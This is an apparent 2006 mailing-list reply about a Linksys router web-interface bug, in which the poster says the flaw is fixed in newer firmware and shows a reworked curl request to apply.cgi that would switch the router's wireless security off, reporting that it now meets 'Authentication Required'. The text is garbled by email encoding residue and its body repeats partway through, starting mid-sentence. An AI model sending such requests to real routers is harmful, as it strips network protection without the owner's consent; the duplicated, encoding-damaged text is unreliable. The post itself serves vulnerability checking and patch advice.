guant a
15/08/06, 23:49
> I'm having some trouble believing this hasn't been reported before. If y=
ou
> have a linksys router handy, please check to see whether it is vulnerable=
to
> this attack. It's possible that all of the linksys router web UIs have t=
he
> same bug. Hopefully the problem is isolated to one particular model or
> firmware revision.
This is fixed in at least v4.00.7 and above. Your original command doesn't=
=20
work, the file doesn't even exist. But redoing it as such:
curl -d "submit_button=3DWL_WPATable" -d "change_action=3Dgozila_cgi" -d \
"submit_type=3D" -d "action=3D" -d "security_mode_last=3D" -d "wl_wep_last=
=3D" -d \
"security_mode=3Ddisabled" http://192.168.1.1/apply.cgi
Results in "Authentication Required". (The strings were grabbed from ethere=
al, as I disabled the security, which would explain the multitude of empty =
options, but whatever.) This is an old bug that was fixed, which should exp=
lain the lack of vendor dialog. Upgrade, upgrade, upgrade. :)
guant
--=20
_______________________________________________
Get your free email from http://www.hackermail.com
ou
> have a linksys router handy, please check to see whether it is vulnerable=
to
> this attack. It's possible that all of the linksys router web UIs have t=
he
> same bug. Hopefully the problem is isolated to one particular model or
> firmware revision.
This is fixed in at least v4.00.7 and above. Your original command doesn't=
=20
work, the file doesn't even exist. But redoing it as such:
curl -d "submit_button=3DWL_WPATable" -d "change_action=3Dgozila_cgi" -d \
"submit_type=3D" -d "action=3D" -d "security_mode_last=3D" -d "wl_wep_last=
=3D" -d \
"security_mode=3Ddisabled" http://192.168.1.1/apply.cgi
Results in "Authentication Required". (The strings were grabbed from ethere=
al, as I disabled the security, which would explain the multitude of empty =
options, but whatever.) This is an old bug that was fixed, which should exp=
lain the lack of vendor dialog. Upgrade, upgrade, upgrade. :)
guant
--=20
_______________________________________________
Get your free email from http://www.hackermail.com